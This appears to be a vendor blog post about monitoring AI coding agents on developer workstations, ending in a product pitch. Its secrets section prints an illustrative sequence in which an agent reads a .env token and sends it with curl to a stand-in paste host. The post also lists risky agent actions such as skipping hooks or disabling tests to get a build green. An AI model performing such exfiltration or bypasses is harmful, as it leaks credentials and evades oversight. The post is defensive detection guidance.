AI Coding Agent Monitoring: What Agents Do on Workstations
AI coding agent monitoring is the part of agent security most teams skip. Policies get written, approved tools get listed, and a hook or two goes in. Then nobody can answer the basic question a CISO will eventually ask: what did the agents on our developers' laptops actually do last week?
That question is hard because coding agents act with the developer's own access. They run shell commands, read environment files, call cloud CLIs with whatever profile is active, push commits and talk to MCP servers. All of it happens on a workstation, under a real user account, inside a session that leaves a transcript on local disk and nowhere else.
This post covers what a monitoring program for coding agents needs: an inventory of what is installed, a record of each session, a way to sort risky actions into categories people can act on, a way to track secrets that enter a session, and exceptions narrow enough that the signal survives. It ends with how Heeler approaches it.
Why endpoint tools miss coding agent activity
Your endpoint agent already sees processes. It sees git, curl, kubectl and terraform run on a developer machine. The problem is that developers run those same commands all day. From the process table, an agent deleting a production namespace and an engineer doing it on purpose look identical.
What separates them is context that only lives in the agent session:
- Intent. Did the user ask for this action, or did the agent decide on its own while chasing a failing test?
- Sequence. The agent read a credentials file three tool calls before it sent a request to an external host. Those two events are linked only in the transcript.
- Delegation. A parent session spawned a sub-agent, and the sub-agent did the risky part.
- Configuration. The agent had a remote MCP server and a shell hook configured, which changed what it could reach in the first place.
Monitoring that ignores the session sees commands with no reason attached. Monitoring that reads the session can tell you why something happened and whether anyone asked for it.
Start with an inventory of agents and their configuration
You cannot monitor agents you do not know about. Developers install new coding agents, editor extensions, skills and MCP servers faster than any approval process moves. The first job is a per-workstation inventory that answers a few questions:
- Which coding agents are installed on this machine?
- Which skills, plugins and editor extensions do they load?
- Which MCP servers are configured, and which of those are remote?
- Which shell hooks run commands on agent events?
- What do the agent instruction files and settings say?
Remote MCP servers and command-running hooks deserve extra attention. Both expand what an agent can reach or execute. Neither proves anything bad on its own, since plenty are approved and well scoped, but both belong on the list a reviewer checks first.
Inventory also needs change tracking. The useful question is rarely "what is installed" and usually "what changed since yesterday." A new MCP server on twenty machines overnight is worth a look. A changed instruction file in a user's home directory is worth a look too.
Keep one rule in mind: inventory is not execution history. An installed skill or configured server does not mean an agent used it. For that you need sessions.
Record agent sessions, not just commands
A session record is the core unit of coding agent monitoring. It should hold the user's prompts, the agent's responses, each tool call with its input and output, and enough context to place the session: workstation, local user, repository, branch and commit.
With that record a reviewer can answer the questions that matter during an investigation:
- What did the user ask for, in their own words?
- Which tool calls did the agent make to do it?
- Which external systems did the session reach: cloud accounts, clusters, databases, SaaS APIs, model providers, package registries?
- Did it read or write in production?
- Did it create commits, or only inspect them?
- Did it hand work to sub-agents, and what did they do?
Session records also carry the cost of having them. Transcripts contain source code, prompts and often secrets, because agents read .env files and print command output that includes tokens. Treat session data as sensitive from day one: restrict who can read it, log every time someone opens a session, mask secret values in the viewer, and set a retention period you can defend.
Sort risky agent actions into categories people can act on
Raw transcripts do not scale. A fleet of developers produces thousands of tool calls a day. The monitoring layer has to read them and pull out the actions that deserve a human, sorted into categories that map to a response.
A practical set of categories looks like this:
- Destructive actions: recursive deletes, dropped tables, force pushes over shared history, deleted cloud resources.
- Data exfiltration: data sent to hosts that have nothing to do with the task.
- Remote code execution: piping a downloaded script into a shell, running unpinned code from the internet.
- Privilege escalation:
sudo, assuming broader cloud roles, changing file permissions to get past a block. - Security bypass: disabling tests, skipping hooks, turning off signing or scanning to get a build green.
- Production access: deploys, migrations, and queries or writes against production services.
- Git history changes, configuration changes and network access that fall short of the above but still change state.
Two attributes make these categories useful. The first is severity, so a reviewer starts with critical and high. The second is whether the action was prompted. An agent that runs a production migration because the user asked for one is a different event from an agent that decided a migration was the fastest way to fix a failing test. Unprompted risky actions are where agents surprise people, and they are the best place to start a review.
This maps closely to the risk the OWASP Top 10 for LLM Applications calls excessive agency: a model with more permissions and autonomy than the task needs, taking actions nobody intended. Monitoring is how you find out where that is already happening.
Track secrets that enter an agent session
Secrets exposure in agent sessions deserves its own track, separate from risky actions. A credential can enter a session in many quiet ways. The agent reads a config file. A command prints an environment variable. A test failure dumps a connection string. Once the value is in the transcript, the next question is where it went.
A short illustrative sequence shows the pattern:
- The agent runs
cat .envand the output includesGITHUB_TOKEN=ghp_... - The agent runs
curl -H "Authorization: Bearer ghp_..." https://api.example-paste.io/upload
The first step is a secret entering the session. The second is the same secret leaving the machine. Monitoring should track each credential by fingerprint and record its exit channels: written to a file, committed, put in a command or tool call, sent to an MCP server, handed to a sub-agent, or sent to an external host. A credential that reached an external host is the one to rotate first.
The monitoring system itself should never store the secret in clear text. Store a fingerprint and a masked form, show the value only to administrators on explicit request, and record each reveal.
Make exceptions narrow enough to keep the signal
Every monitoring program hits the same wall in week two. The platform team runs agents against production on purpose. A test fixture holds a fake key that shows up in every session. If those detections stay open, reviewers learn to ignore the queue.
The fix is scoped overrides, not deleted detections:
- Scope by place. An override can cover one workstation, one repository or the whole organization. Accepting production access for the infrastructure repository should not accept it everywhere.
- Scope by thing. For secrets, cover one value or every value of one rule. For risky actions, cover one category.
- Record a reason. False positive or accepted risk, with a required description of why.
- Keep the evidence. An override marks a detection, it does not erase it. You still want the record when someone asks a question six months later.
A checklist for AI coding agent monitoring
If you are standing up a program, work through these in order:
- Decide who sees session data. Limit it to a small group, audit access, and set retention before the first transcript arrives.
- Pilot on a handful of machines. Confirm collection works, check what the data looks like, then roll out through your MDM.
- Build the inventory. List agents, skills, MCP servers, extensions and hooks per machine. Flag remote MCP servers and shell hooks for review.
- Watch for change. Review new and modified agent configuration, not just the current state.
- Review unprompted, high-severity actions first. That is where the surprises are.
- Rotate credentials that left a machine. Treat secrets sent to an external host as exposed, and investigate their use.
- Fix the cause. Tighten the permissions, configuration or instructions that let the action happen. Add pre-execution checks where you need a hard stop.
- Override what you expect, narrowly. Scope by repository or workstation, give a reason, and revisit overrides on a schedule.
- Check coverage before you report. A machine with no detections may also be a machine that stopped reporting.
Monitoring and blocking work together. Monitoring tells you which actions happen and how often. Blocking stops the ones you never want. Start with visibility, then decide where a hard stop is worth the friction. Our earlier post on coding agent security hooks and block mode covers the blocking side.
How Heeler monitors AI coding agents on workstations
The Heeler Workstation Sensor is now generally available. It runs on macOS and Windows workstations, including WSL 2 distributions on a Windows host, and reports coding agent activity to the Agents section in Heeler. Administrators install it with a deployment credential and a single install command, pilot it by hand on a few machines, then deploy it to a device group through their MDM.
What administrators see:
- Overview shows sensor coverage, recent activity, workstations with high or critical detections, credentials that left a machine, unprompted risky actions and at-risk agent files.
- Detections lists risky actions by category, including destructive actions, data exfiltration, remote code execution, privilege escalation, security bypass and production access, with a severity and a prompted or unprompted badge. It also lists secrets found in sessions with their exit channels, and marks credentials sent to an external host.
- Sessions lists each recorded session with its conversation, detections, external access, skills, commits and sub-agents. Secret values are masked in the conversation, and opening a session is recorded in the audit log.
- Workstations lists each machine with its installed coding agents, skills, MCP servers, extensions, hooks and analyzed agent files, plus a change view against the previous snapshot.
- Usage breaks down token usage and estimated cost by model, workstation, repository and more.
A detection can be overridden for one workstation, one repository or the whole organization, with a reason and a description. Overridden detections stay on record and are hidden by default.
The workstation inventory lists the coding agents installed on each machine. Session transcripts are collected from Claude Code, Codex and OpenCode. Administrators set retention for raw telemetry and derived analysis separately, and only the Administrator and Administrator (read-only) roles can see the data.
AI Inventory in Catalog also lists the models and plugins configured on workstations that run the sensor, next to the AI components found in your repositories. For pre-execution checks, Heeler's agent hooks check actions before they run. See AI agent security and agentic development security for how these pieces fit together.
FAQ
What is AI coding agent monitoring?
AI coding agent monitoring is the practice of recording what coding agents do on developer workstations and flagging the risky actions and secrets exposure in their sessions. It combines an inventory of installed agents and configuration with a record of each session.
Why can't EDR handle coding agent monitoring?
EDR sees processes, but not the intent behind them. It cannot tell whether a user asked for a command or the agent chose it, and it cannot link a secret read early in a session to a request sent later.
What should a team review first?
Start with unprompted risky actions at critical or high severity, and credentials that were sent to an external host. Those are the events most likely to need a response today.
Is monitoring a replacement for blocking agent actions?
No, monitoring and blocking do different jobs. Monitoring shows what agents actually do across the fleet, and blocking stops specific actions before they run, so most teams use monitoring to decide where blocking is worth it.
Do agent session transcripts contain sensitive data?
Yes, transcripts often contain source code, prompts and secrets. Restrict access, audit who opens sessions, mask secret values and set a retention period before you collect them.
Coding agents already have your developers' access. Heeler shows you what they do with it, from the agents installed on each workstation to the risky actions and exposed secrets in each session. Get a demo


.jpg)
